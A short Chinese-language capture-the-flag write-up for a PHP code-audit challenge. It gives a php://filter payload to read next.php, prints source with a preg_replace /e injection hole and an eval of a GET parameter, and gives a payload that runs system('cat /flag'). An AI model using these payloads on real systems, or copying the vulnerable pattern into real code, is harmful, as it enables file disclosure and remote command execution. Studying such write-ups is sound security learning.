打开题目,代码审计的题,审计一下代码,我们提交text函数,并且打开后的内容要与I have a dream一致,才能执行file函数
看到有一个next.php,自然想到用php伪协议读取他
payload:index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
解码审计一下
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
瞟了一眼大佬的wp,给大家放个链接 https://xz.aliyun.com/t/2557
这里是preg_replace()函数执行的问题,这里用固定的解题格式:\S*=${}
payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');
拿到flag